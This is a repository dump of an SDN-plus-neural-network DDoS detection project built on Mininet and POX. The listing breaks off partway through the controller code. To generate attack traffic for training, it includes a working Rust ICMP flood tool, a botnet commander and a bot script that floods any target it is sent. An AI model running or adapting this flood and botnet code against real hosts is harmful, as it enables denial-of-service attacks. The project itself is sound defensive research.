├── Attacks-Rust
├── .gitignore
├── .DS_Store
├── README.md
├── Cargo.toml
└── src
│ ├── main.rs
│ └── icmp_flood
│ └── mod.rs
├── .DS_Store
├── requirements.txt
├── __pycache__
└── network_controller.cpython-311.pyc
├── setup.sh
├── WebServer.py
├── mininet.yaml
├── .gitignore
├── docker-entrypoint.sh
├── docker-compose.yml
├── bot
├── LICENSE
├── Dockerfile
├── botnet_controller
├── README.md
├── create_network.py
├── create_network
└── network_controller.py
/Attacks-Rust/.gitignore:
--------------------------------------------------------------------------------
1 | /target
2 | tags
3 | Session.vim
4 |
--------------------------------------------------------------------------------
/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/visheshc14/Electric-Funeral/HEAD/.DS_Store
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | pox
2 | mininet
3 | tensorflow>=2.9.0
4 | numpy
5 | scikit-learn
6 |
--------------------------------------------------------------------------------
/Attacks-Rust/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/visheshc14/Electric-Funeral/HEAD/Attacks-Rust/.DS_Store
--------------------------------------------------------------------------------
/__pycache__/network_controller.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/visheshc14/Electric-Funeral/HEAD/__pycache__/network_controller.cpython-311.pyc
--------------------------------------------------------------------------------
/setup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | pip3 install -r requirements.txt &&
4 | git submodule update --init --recursive &&
5 | cd Attacks-Rust &&
6 | cargo build --release
7 |
--------------------------------------------------------------------------------
/WebServer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | from datetime import datetime
5 |
6 | from flask import Flask
7 | app = Flask(__name__)
8 |
9 | @app.route("/")
10 | def index():
11 | return f"
Hello There Made By VisheshLast retrieved from server: {datetime.now().strftime('%F %T')}
"
12 |
--------------------------------------------------------------------------------
/mininet.yaml:
--------------------------------------------------------------------------------
1 | images:
2 | - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-amd64.img"
3 | arch: "x86_64"
4 | digest: "sha256:b4aae927745362f5e322ba34a5933df7e86aaa0e2b3c5e9d6e4e7f897f0de75b"
5 | memory: "4GiB"
6 | disk: "100GiB"
7 | mounts:
8 | - location: "~"
9 | writable: true
10 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Generated by Cargo
2 | # will have compiled files and executables
3 | /target/
4 |
5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
7 | Cargo.lock
8 |
9 | # These are backup files generated by rustfmt
10 | **/*.rs.bk
11 | venv/
12 | venv_py39/
13 |
--------------------------------------------------------------------------------
/Attacks-Rust/README.md:
--------------------------------------------------------------------------------
1 | # DoS Attacks
2 | Rust implementations of Denial of Service attacks, currently only the ICMP flood
3 | attack is implemented.
4 |
5 | ## Requirements
6 | - Rust
7 | - Cargo
8 |
9 | ## Build
10 | ```sh
11 | cargo build
12 | ```
13 |
14 | ## Run
15 | You will probably need to run the resulting binary with sudo:
16 | ```sh
17 | sudo ./target/debug/dos-attacks ping-flood 127.0.0.1
18 | ```
19 |
--------------------------------------------------------------------------------
/Attacks-Rust/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "Attacks-Rust"
3 | version = "0.1.0"
4 | authors = ["Vishesh Choudhary "]
5 | edition = "2021"
6 | description = "Rust Implementations Of DoS Attacks."
7 | repository = "https://github.com/visheshc14/Electric-Funeral"
8 | readme = "README.md"
9 |
10 | [dependencies]
11 | rand = "0.8"
12 | pnet = "0.34.0"
13 | ctrlc = "3.4.1"
14 | serde = { version = "1.0", features = ["derive"] }
15 | serde_json = "1.0"
--------------------------------------------------------------------------------
/Attacks-Rust/src/main.rs:
--------------------------------------------------------------------------------
1 |
2 |
3 | extern crate pnet;
4 |
5 | use std::env;
6 |
7 | mod icmp_flood;
8 |
9 | fn main() {
10 |
11 | println!("Electric Funeral Rust - Vishesh Choudhary");
12 | println!();
13 | let args: Vec = env::args().collect();
14 | if args.len() < 3 {
15 | panic!("Not enough arguments");
16 | }
17 | let attack_name = &args[1];
18 | let addr = &args[2];
19 | run_attack(attack_name)(addr);
20 | }
21 |
22 | fn run_attack(attack: &String) -> Box {
23 | match attack.as_str() {
24 | "ping-flood" => Box::new(icmp_flood::run),
25 | _ => return Box::new(move |a| panic!("No attack named {}", a)),
26 | }
27 | }
--------------------------------------------------------------------------------
/docker-entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | set -e
3 |
4 | # Initialize OpenVSwitch if needed
5 | if [ ! -f /etc/openvswitch/conf.db ]; then
6 | ovsdb-tool create /etc/openvswitch/conf.db
7 | fi
8 |
9 | # Start Open vSwitch
10 | service openvswitch-switch start
11 |
12 | # Wait for OpenVSwitch to be ready
13 | while ! ovs-vsctl show > /dev/null 2>&1; do
14 | echo "Waiting for OpenVSwitch to be ready..."
15 | sleep 1
16 | done
17 |
18 | # Create a bridge for Mininet if it doesn't exist
19 | if ! ovs-vsctl br-exists s1; then
20 | ovs-vsctl add-br s1
21 | fi
22 |
23 | # Start the POX controller if needed
24 | if [[ "$*" == *"create_network.py"* ]]; then
25 | cd /app && python3 network_controller.py --gen-data &
26 | sleep 2
27 | fi
28 |
29 | exec "$@"
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | controller:
4 | build: .
5 | privileged: true
6 | network_mode: "host"
7 | volumes:
8 | - /lib/modules:/lib/modules
9 | - /var/run/docker.sock:/var/run/docker.sock
10 | command: python3 network_controller.py --detect
11 | environment:
12 | - PYTHONPATH=/app:/usr/local/lib/python3/dist-packages
13 |
14 | network:
15 | build: .
16 | privileged: true
17 | network_mode: "host"
18 | volumes:
19 | - /lib/modules:/lib/modules
20 | - /var/run/docker.sock:/var/run/docker.sock
21 | depends_on:
22 | - controller
23 | command: python3 create_network.py --attack --cli
24 | environment:
25 | - PYTHONPATH=/app:/usr/local/lib/python3/dist-packages
--------------------------------------------------------------------------------
/bot:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | A bot that that attaches to a socket from the controller and starts a ping flood
6 | against the chosen target.
7 | '''
8 |
9 | import argparse
10 | import os
11 | import socket
12 |
13 | if __name__ == '__main__':
14 | PARSER = argparse.ArgumentParser(
15 | description="A bot ping floods the target specified by the controller"
16 | )
17 | PARSER.add_argument("-c", "--commander", dest="commander", action="store",
18 | help="The IP address of the commander")
19 | ARGS = PARSER.parse_args()
20 |
21 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
22 | print(f"Connecting to commander {ARGS.commander}")
23 | s.connect((ARGS.commander, 8888))
24 | print("Connected, waiting for order")
25 | TARGET = s.recv(1024).decode()
26 | print(f"Order received, attacking {TARGET}")
27 | for _ in range(10):
28 | os.system(f"./dos-attacks/target/release/dos-attacks ping-flood {TARGET} &")
29 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 Vishesh Choudhary
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 | ENV DEBIAN_FRONTEND=noninteractive
3 | RUN apt-get update && apt-get install -y \
4 | mininet \
5 | net-tools \
6 | iputils-ping \
7 | python3 \
8 | python3-pip \
9 | python3-dev \
10 | git \
11 | openvswitch-switch \
12 | iproute2 \
13 | curl \
14 | build-essential \
15 | && rm -rf /var/lib/apt/lists/*
16 |
17 | RUN ln -s /usr/bin/python3 /usr/bin/python
18 | WORKDIR /app
19 |
20 | # Install POX properly
21 | RUN mkdir -p /usr/local/lib/python3/dist-packages && \
22 | git clone https://github.com/noxrepo/pox.git /tmp/pox && \
23 | cp -r /tmp/pox/pox /usr/local/lib/python3/dist-packages/ && \
24 | rm -rf /tmp/pox
25 |
26 | COPY requirements.txt /app/
27 | RUN pip3 install -r requirements.txt
28 |
29 | COPY . /app/
30 | RUN git submodule update --init --recursive
31 |
32 | ENV PYTHONPATH=/app:/usr/local/lib/python3/dist-packages
33 |
34 | RUN chmod +x network_controller.py create_network
35 | COPY docker-entrypoint.sh /usr/local/bin/
36 | RUN chmod +x /usr/local/bin/docker-entrypoint.sh
37 |
38 | # Initialize OpenVSwitch
39 | RUN mkdir -p /etc/openvswitch && \
40 | ovsdb-tool create /etc/openvswitch/conf.db
41 |
42 | ENTRYPOINT ["docker-entrypoint.sh"]
43 | CMD ["/bin/bash"]
44 |
--------------------------------------------------------------------------------
/botnet_controller:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | A controller of a botnet
6 | '''
7 |
8 | import argparse
9 | import socket
10 |
11 | if __name__ == '__main__':
12 | PARSER = argparse.ArgumentParser(
13 | description="A botnet commander that issues a target for the bots to DDoS"
14 | )
15 | PARSER.add_argument("-n", "--num-bots", dest="num_bots", action="store",
16 | default=1, type=int,
17 | help="Number of bots to command")
18 | PARSER.add_argument("-t", "--target", dest="target", action="store",
19 | default=None, type=str,
20 | help="Target to attack")
21 | ARGS = PARSER.parse_args()
22 | TARGET = bytes(
23 | ARGS.target if ARGS.target else input("What server do you want to attack? "),
24 | "UTF-8"
25 | )
26 | NUM_BOTS = ARGS.num_bots
27 | print(f"Attacking {TARGET.decode()} with {ARGS.num_bots} bot{'s' if ARGS.num_bots > 1 else ''}")
28 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
29 | s.bind(("", 8888))
30 | s.listen(1)
31 | for _ in range(ARGS.num_bots):
32 | conn, addr = s.accept()
33 | print(f"Ordering {addr[0]}:{addr[1]} to attack")
34 | with conn:
35 | conn.sendall(TARGET)
36 | print("Done.")
37 |
--------------------------------------------------------------------------------
/Attacks-Rust/src/icmp_flood/mod.rs:
--------------------------------------------------------------------------------
1 | extern crate rand;
2 | extern crate pnet;
3 | extern crate ctrlc;
4 |
5 | use std::net::IpAddr;
6 | use std::sync::atomic::{AtomicBool, Ordering};
7 | use std::sync::Arc;
8 |
9 | use rand::Rng;
10 |
11 | use pnet::packet::util;
12 | use pnet::packet::ip::IpNextHeaderProtocols;
13 | use pnet::packet::icmp::{echo_request, IcmpTypes};
14 | use pnet::transport::TransportChannelType::Layer4;
15 | use pnet::transport::TransportProtocol::Ipv4;
16 | use pnet::transport::transport_channel;
17 | use pnet::packet::Packet;
18 |
19 | pub fn run(address: &String) {
20 | let protocol = Layer4(Ipv4(IpNextHeaderProtocols::Icmp));
21 | let (mut tx, _) = match transport_channel(4096, protocol) {
22 | Ok((tx, rx)) => (tx, rx),
23 | Err(e) => panic!("Error creating the transport channel: {}", e),
24 | };
25 | let addr = match address.as_str().parse::() {
26 | Ok(s) => s,
27 | Err(e) => panic!("Failed to parse address: {}", e),
28 | };
29 |
30 | let running = Arc::new(AtomicBool::new(true));
31 | let r = running.clone();
32 | ctrlc::set_handler(move || {
33 | r.store(false, Ordering::SeqCst);
34 | }).expect("Error setting CTRL+C handler");
35 |
36 | let mut rng = rand::thread_rng();
37 |
38 | while running.load(Ordering::SeqCst) {
39 | let mut vec: Vec = vec![0; 64];
40 | let mut packet = echo_request::MutableEchoRequestPacket::new(&mut vec[..]).unwrap();
41 | packet.set_icmp_type(IcmpTypes::EchoRequest);
42 | packet.set_sequence_number(rng.gen::());
43 | packet.set_identifier(rng.gen::());
44 | let csum = util::checksum(packet.packet(), 1);
45 | packet.set_checksum(csum);
46 | match tx.send_to(packet, addr) {
47 | Ok(_) => print!("."),
48 | Err(_) => print!("_"),
49 | }
50 | }
51 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Electric-Funeral
2 |
3 | A Combination of Software Defined Network (SDN) And A Multi-Layer Perceptron (MLP) Neural Network That Results In The
4 | Mitigation of DDoS Attacks.
5 |
6 | ## References
7 | [A dynamic MLP-based DDoS attack detection method using feature selection and feedback](https://www.sciencedirect.com/science/article/pii/S0167404819301890)
8 |
9 | [Deep Learning-based Slow DDoS Attack Detection in SDN-based Networks](https://ieeexplore.ieee.org/document/9289894)
10 |
11 | [SDN-Based Intrusion Detection System for Early Detection and Mitigation of DDoS Attacks](https://arxiv.org/ftp/arxiv/papers/2104/2104.07332.pdf)
12 |
13 | [A Flexible SDN-Based Architecture for Identifying and Mitigating Low-Rate DDoS Attacks Using Machine Learning](https://ieeexplore.ieee.org/abstract/document/9177002)
14 |
15 | ## Architecture
16 |
17 | 
18 |
19 | 
20 |
21 | 
22 |
23 | ## Requirements
24 | - python3
25 | - pip
26 | - rust
27 | - cargo
28 |
29 | ## Installation
30 | ```
31 | setup.sh
32 | ```
33 |
34 | ## Generating data
35 | First start the controller in generate data mode:
36 | ```
37 | ./network_controller.py --gen-data
38 | ```
39 |
40 | Then start the network in normal interactions training mode (this uses mininet
41 | so it will probably require root privileges to run):
42 | ```
43 | ./create_network --normal
44 | ```
45 |
46 | Once done, train for the attack state. Start the controller in generate attack
47 | data mode:
48 | ```
49 | ./network_controller.py --attack --gen-data
50 | ```
51 |
52 | Then start the network in attack interactions training mode:
53 | ```
54 | ./create_network --all-attack
55 | ```
56 |
57 | ## Training the MLP
58 | Simply run the following:
59 | ```
60 | ./network_controller.py --train
61 | ```
62 |
63 | ## Run DDoS Mitigation
64 | Start the controller in detection mode:
65 | ```
66 | ./network_controller.py --detect
67 | ```
68 |
69 | Then start the network in attack and CLI mode:
70 | ```
71 | ./create_network --attack --cli
72 | ```
73 |
74 | The user should be able to ping the attack target with the following command:
75 | ```
76 | u0 ping t0
77 | ```
78 | ## Deployment
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/create_network.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | Created A Mininet Based Network For The Botnet
6 | '''
7 |
8 | import sys
9 | import time
10 |
11 | import numpy as np
12 |
13 | from mininet.topo import Topo
14 | from mininet.net import Mininet
15 | from mininet.node import OVSSwitch, RemoteController
16 | from mininet.log import setLogLevel, info
17 | from mininet.cli import CLI
18 | from mininet.link import TCLink
19 |
20 |
21 | class ForkTopo(Topo):
22 | "A fork shaped network"
23 | def build(self, **opts):
24 | "Build the topology"
25 | botnet_switch = self.addSwitch("s2")
26 | add_hosts(self, botnet_switch, opts['num_bots'] + 1, "b")
27 | user_switch = self.addSwitch("s3")
28 | add_hosts(self, user_switch, 1, "u")
29 | sdn_switch = self.addSwitch(f"s1")
30 | self.addLink(sdn_switch, botnet_switch)
31 | self.addLink(sdn_switch, user_switch)
32 | add_hosts(
33 | self,
34 | sdn_switch,
35 | 1,
36 | "t",
37 | {
38 | "bw": 0.1,
39 | "delay": "5ms",
40 | "loss": 0,
41 | "max_queue_size": 1000,
42 | "use_htb": True
43 | }
44 | )
45 |
46 |
47 | def add_hosts(topo, switch, num_nodes, id_tag, opts=None):
48 | '''
49 | A hosts to the topology all connected in a star to the switch
50 | :param topo The network topology object
51 | :param switch Switch to attach the hosts to
52 | :param id_tag characters to identify the hosts
53 | :param opts extra arguments to pass to the link between the switch and hosts
54 | '''
55 | for i in range(num_nodes):
56 | if opts:
57 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch, **opts)
58 | else:
59 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch)
60 |
61 |
62 | def run_network(num_bots):
63 | '''
64 | Run the DDoS attack on the target of the network, also have the user
65 | request a web service from the target
66 | :param num_bots Amount of bots in the botnet for the DDoS
67 | '''
68 | topo = ForkTopo(num_bots=num_bots)
69 | net = Mininet(
70 | topo=topo,
71 | link=TCLink,
72 | switch=OVSSwitch,
73 | controller=RemoteController
74 | )
75 | net.start()
76 | finish_time = time.time() + 3_600
77 | if "--train" in sys.argv:
78 | for host in net.hosts:
79 | host.cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &")
80 | time.sleep(3)
81 | print(f"Training will finish at {time.ctime(finish_time)}")
82 | if "--attack" in sys.argv:
83 | info("*** Starting botnet controller\n")
84 | net['b0'].cmdPrint(f"./botnet_controller -n {num_bots} -t {net['t0'].IP()} &")
85 | time.sleep(1)
86 | info("*** Starting botnet attack on the target\n")
87 | for i in range(1, num_bots + 1):
88 | net[f"b{i}"].cmd(f"./bot -c {net['b0'].IP()} &")
89 | if "--train" in sys.argv:
90 | info("*** Waiting for training to finish")
91 | time.sleep(finish_time - time.time())
92 | elif "--normal" in sys.argv:
93 | info("*** Normal activity\n")
94 | tcp = 0
95 | icmp = 0
96 | while time.time() < finish_time:
97 | host = net.hosts[
98 | int(np.round(np.random.uniform(len(net.hosts)))) - 1
99 | ]
100 | random_host_ip = net.hosts[
101 | int(np.round(np.random.uniform(len(net.hosts)))) - 1
102 | ].IP()
103 | if np.random.choice(range(1, 100)) < 95:
104 | tcp += 1
105 | host.cmd(f"curl {random_host_ip}:5000")
106 | else:
107 | icmp += 1
108 | host.cmd(f"ping -c1 {random_host_ip}")
109 | print(f"\rTCP: {tcp}, ICMP: {icmp}", end="")
110 | time.sleep(np.random.uniform(0.25, 5))
111 | else:
112 | info("*** Starting web server on target\n")
113 | net['t0'].cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &")
114 | time.sleep(1)
115 | info("*** User browsing web service\n")
116 | net['u0'].cmdPrint(f"netsurf http://{net['t0'].IP()}:5000/ &")
117 | if "--cli" in sys.argv:
118 | CLI(net)
119 | net.stop()
120 |
121 | if __name__ == '__main__':
122 | setLogLevel('info')
123 | run_network(50)
--------------------------------------------------------------------------------
/create_network:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | Created A Mininet Based Network For The Botnet
6 | '''
7 |
8 | import sys
9 | import time
10 |
11 | import numpy as np
12 |
13 | from mininet.topo import Topo
14 | from mininet.net import Mininet
15 | from mininet.node import OVSSwitch, RemoteController
16 | from mininet.log import setLogLevel, info
17 | from mininet.cli import CLI
18 | from mininet.link import TCLink
19 |
20 |
21 | class ForkTopo(Topo):
22 | "A fork shaped network"
23 | def build(self, **opts):
24 | "Build the topology"
25 | botnet_switch = self.addSwitch("s2")
26 | add_hosts(self, botnet_switch, opts['num_bots'] + 1, "b")
27 | user_switch = self.addSwitch("s3")
28 | add_hosts(self, user_switch, 1, "u")
29 | sdn_switch = self.addSwitch(f"s1")
30 | self.addLink(sdn_switch, botnet_switch)
31 | self.addLink(sdn_switch, user_switch)
32 | add_hosts(
33 | self,
34 | sdn_switch,
35 | 1,
36 | "t",
37 | {
38 | "bw": 0.1,
39 | "delay": "5ms",
40 | "loss": 0,
41 | "max_queue_size": 1000,
42 | "use_htb": True
43 | }
44 | )
45 |
46 |
47 | def add_hosts(topo, switch, num_nodes, id_tag, opts=None):
48 | '''
49 | A hosts to the topology all connected in a star to the switch
50 | :param topo The network topology object
51 | :param switch Switch to attach the hosts to
52 | :param id_tag characters to identify the hosts
53 | :param opts extra arguments to pass to the link between the switch and hosts
54 | '''
55 | for i in range(num_nodes):
56 | if opts:
57 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch, **opts)
58 | else:
59 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch)
60 |
61 |
62 | def run_network(num_bots):
63 | '''
64 | Run the DDoS attack on the target of the network, also have the user
65 | request a web service from the target
66 | :param num_bots Amount of bots in the botnet for the DDoS
67 | '''
68 | topo = ForkTopo(num_bots=num_bots)
69 | net = Mininet(
70 | topo=topo,
71 | link=TCLink,
72 | switch=OVSSwitch,
73 | controller=RemoteController
74 | )
75 | net.start()
76 | finish_time = time.time() + 3_600
77 | if "--train" in sys.argv:
78 | for host in net.hosts:
79 | host.cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &")
80 | time.sleep(3)
81 | print(f"Training will finish at {time.ctime(finish_time)}")
82 | if "--attack" in sys.argv:
83 | info("*** Starting botnet controller\n")
84 | net['b0'].cmdPrint(f"./botnet_controller -n {num_bots} -t {net['t0'].IP()} &")
85 | time.sleep(1)
86 | info("*** Starting botnet attack on the target\n")
87 | for i in range(1, num_bots + 1):
88 | net[f"b{i}"].cmd(f"./bot -c {net['b0'].IP()} &")
89 | if "--train" in sys.argv:
90 | info("*** Waiting for training to finish")
91 | time.sleep(finish_time - time.time())
92 | elif "--normal" in sys.argv:
93 | info("*** Normal activity\n")
94 | tcp = 0
95 | icmp = 0
96 | while time.time() < finish_time:
97 | host = net.hosts[
98 | int(np.round(np.random.uniform(len(net.hosts)))) - 1
99 | ]
100 | random_host_ip = net.hosts[
101 | int(np.round(np.random.uniform(len(net.hosts)))) - 1
102 | ].IP()
103 | if np.random.choice(range(1, 100)) < 95:
104 | tcp += 1
105 | host.cmd(f"curl {random_host_ip}:5000")
106 | else:
107 | icmp += 1
108 | host.cmd(f"ping -c1 {random_host_ip}")
109 | print(f"\rTCP: {tcp}, ICMP: {icmp}", end="")
110 | time.sleep(np.random.uniform(0.25, 5))
111 | else:
112 | info("*** Starting web server on target\n")
113 | net['t0'].cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &")
114 | time.sleep(1)
115 | info("*** User browsing web service\n")
116 | net['u0'].cmdPrint(f"netsurf http://{net['t0'].IP()}:5000/ &")
117 | if "--cli" in sys.argv:
118 | CLI(net)
119 | net.stop()
120 |
121 | if __name__ == '__main__':
122 | setLogLevel('info')
123 | run_network(50)
124 |
--------------------------------------------------------------------------------
/network_controller.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | The controller of the network. This also detects DDoS attacks.
6 | Vishesh Choudhary
7 | '''
8 |
9 | import sys
10 | import time
11 |
12 | import numpy as np
13 |
14 | import tensorflow as tf
15 | from tensorflow import keras
16 |
17 | import pox.lib.packet as pac
18 | from pox.boot import boot
19 | from pox.core import core
20 | from pox.lib.recoco import Timer
21 |
22 | import pox.openflow.libopenflow_01 as of
23 |
24 |
25 | if __name__ != "__main__":
26 | LOG = core.getLogger()
27 |
28 | IPV4_PROTOCOLS = {
29 | pac.ipv4.ICMP_PROTOCOL: "ICMP",
30 | pac.ipv4.IGMP_PROTOCOL: "IGMP",
31 | pac.ipv4.TCP_PROTOCOL: "TCP",
32 | pac.ipv4.UDP_PROTOCOL: "UDP",
33 | }
34 |
35 | IPV6_PROTOCOLS = {
36 | pac.ipv6.ICMP6_PROTOCOL: "ICMP",
37 | pac.ipv6.IGMP_PROTOCOL: "IGMP",
38 | pac.ipv6.TCP_PROTOCOL: "TCP",
39 | pac.ipv6.UDP_PROTOCOL: "UDP",
40 | }
41 |
42 | class Flow:
43 | '''
44 | A class for flows through the network
45 | '''
46 | def __init__(self, src, dst, comm_prot, packets, amount_bytes):
47 | self.src = str(src)
48 | self.dst = str(dst)
49 | self.comm_prot = comm_prot
50 | self.packets = packets
51 | self.bytes = amount_bytes
52 | self.time_created = time.time()
53 | self.time_last_used = time.time()
54 |
55 | def __str__(self):
56 | return "{} -> {}: {}".format(self.src, self.dst, self.comm_prot)
57 |
58 | def is_pair(self, other):
59 | '''
60 | Find whether this is a pair flow with the other one
61 | :param other Another flow
62 | '''
63 | p = self.src == other.dst
64 | q = self.dst == other.src
65 | v = self.comm_prot == other.comm_prot
66 | return p and q and v
67 |
68 | def __eq__(self, other):
69 | if isinstance(other, Flow):
70 | p = self.src == other.src
71 | q = self.dst == other.dst
72 | v = self.comm_prot == other.comm_prot
73 | return p and q and v
74 | return False
75 |
76 | def update(self, packets, amount_bytes):
77 | '''
78 | Update the amount of packets and bytes involved in this flow
79 | :param packets Number of packets to add to this flow
80 | :param amount_bytes Number of bytes to add to this flow
81 | '''
82 | self.time_last_used = time.time()
83 | self.packets += packets
84 | self.bytes += amount_bytes
85 |
86 | class Controller(object):
87 | '''A controller that can detect attacks or generate data on flows'''
88 | def __init__(self, connection, gen_data, label, detect, interval=0.5, clean_interval=30):
89 | self.connection = connection
90 | connection.addListeners(self)
91 | self.label = label
92 | self.mac_to_port = {}
93 | self.flows = dict()
94 | self.growing_flows = dict()
95 | self.ports = set()
96 | self.growing_ports = set()
97 | self.time_started = time.time()
98 | self.interval = interval
99 | if gen_data:
100 | self.data_timer = Timer(interval, self.write_data, recurring=True)
101 | self.growth_timer = Timer(interval, self.reset_growth, recurring=True)
102 | self.clean_interval = clean_interval
103 | self.clean_timer = Timer(clean_interval, self.clean_flows, recurring=True)
104 | self.detect = detect
105 | if detect:
106 | self.model = keras.models.load_model('model.h5')
107 | self.interval = time.time()
108 |
109 | def resend_packet(self, packet_in, out_port):
110 | '''
111 | Pass the packet from this switch on to the next port
112 | :param packet_in The packet to pass
113 | :param out_port The port to pass to
114 | '''
115 | msg = of.ofp_packet_out()
116 | msg.data = packet_in
117 | action = of.ofp_action_output(port=out_port)
118 | msg.actions.append(action)
119 | self.connection.send(msg)
120 |
121 | def act_like_switch(self, packet, packet_in):
122 | '''
123 | Act like a switch by learning the mappings between the MACs and ports
124 | :param packet The packet processed at this point
125 | :param packet_in The packet to pass
126 | '''
127 | if self.detect:
128 | self.interval = time.time() - self.interval
129 | six_tuple = [self.calc_tuple()]
130 | LOG.debug("Six-tuple: %s", six_tuple[0])
131 | prediction = np.round(self.model.predict(six_tuple)[0][0])
132 | self.interval = time.time()
133 | LOG.debug("Prediction: %s", prediction)
134 | if prediction == 1.0:
135 | LOG.debug("Attack detected!")
136 | return
137 | pl = packet.payload
138 | if isinstance(pl, pac.arp):
139 | src = pl.protosrc
140 | dst = pl.protodst
141 | comm_prot = "ARP"
142 | else:
143 | src = pl.srcip
144 | dst = pl.dstip
145 | if isinstance(pl, pac.ipv4):
146 | comm_prot = IPV4_PROTOCOLS[pl.protocol]
147 | else:
148 | comm_prot = "IPV6"
149 | flow = Flow(src, dst, comm_prot, 1, len(pl))
150 | flow_name = str(flow)
151 | if self.flows.get(flow_name):
152 | self.flows[flow_name].update(1, len(pl))
153 | else:
154 | self.flows[flow_name] = flow
155 | self.growing_flows[flow_name] = flow
156 | if len(packet_in.data) == packet_in.total_len:
157 | self.mac_to_port[packet.src] = packet_in.in_port
158 | self.ports = self.ports.union([packet_in.in_port])
159 | self.growing_ports = self.growing_ports.union([packet_in.in_port])
160 | if self.mac_to_port.get(packet.dst):
161 | self.resend_packet(packet_in, self.mac_to_port[packet.dst])
162 | else:
163 | self.resend_packet(packet_in, of.OFPP_ALL)
164 |
165 | def calc_tuple(self):
166 | '''
167 | Calculate the six-tupe for DDoS detection
168 | '''
169 | amount_packets = []
170 | amount_bytes = []
171 | durations = []
172 | current_time = time.time()
173 | num_pair_flows = float(0)
174 | all_flows = list(self.flows.values())
175 | num_flows = float(len(all_flows))
176 | for i, flow in enumerate(all_flows):
177 | amount_packets.append(flow.packets)
178 | amount_bytes.append(flow.bytes)
179 | durations.append(current_time - flow.time_created)
180 | for other_flow in all_flows[i + 1:]:
181 | if flow.is_pair(other_flow):
182 | num_pair_flows += 1
183 | all_growing_flows = list(self.growing_flows.values())
184 | num_growing_flows = len(all_growing_flows)
185 | num_growing_pair_flows = 0
186 | for i, flow in enumerate(all_growing_flows):
187 | for other_flow in all_growing_flows[i + 1:]:
188 | if flow.is_pair(other_flow):
189 | num_growing_pair_flows += 1
190 | return [
191 | np.median(amount_packets) if amount_packets else 0.0,
192 | np.median(amount_bytes) if amount_bytes else 0.0,
193 | np.median(durations) if amount_bytes else 0.0,
194 | ((2 * num_pair_flows) / num_flows) if num_flows > 0 else 0.0,
195 | (num_growing_flows - (2 * num_growing_pair_flows)) / self.interval,
196 | len(self.growing_ports) / self.interval,
197 | ]
198 |
199 | def reset_growth(self):
200 | '''
201 | Reset variables for detecting growth of them
202 | '''
203 | self.growing_flows = dict()
204 | self.growing_ports = set()
205 |
206 | def write_data(self):
207 | '''
208 | Write the current six-tuple and label to a data file
209 | '''
210 | six_tuple = self.calc_tuple()
211 | if six_tuple != [0 for _ in range(6)]:
212 | six_tuple.append(self.label)
213 | LOG.debug("Writing some training data")
214 | LOG.debug("Current tuple: %s", six_tuple)
215 | with open("training_data.txt", "a") as f:
216 | f.write(" ".join(map(str, six_tuple)) + "\n")
217 | LOG.debug("Written.")
218 |
219 | def clean_flows(self):
220 | '''
221 | Clean the flow table
222 | '''
223 | current_time = time.time()
224 | del_indices = []
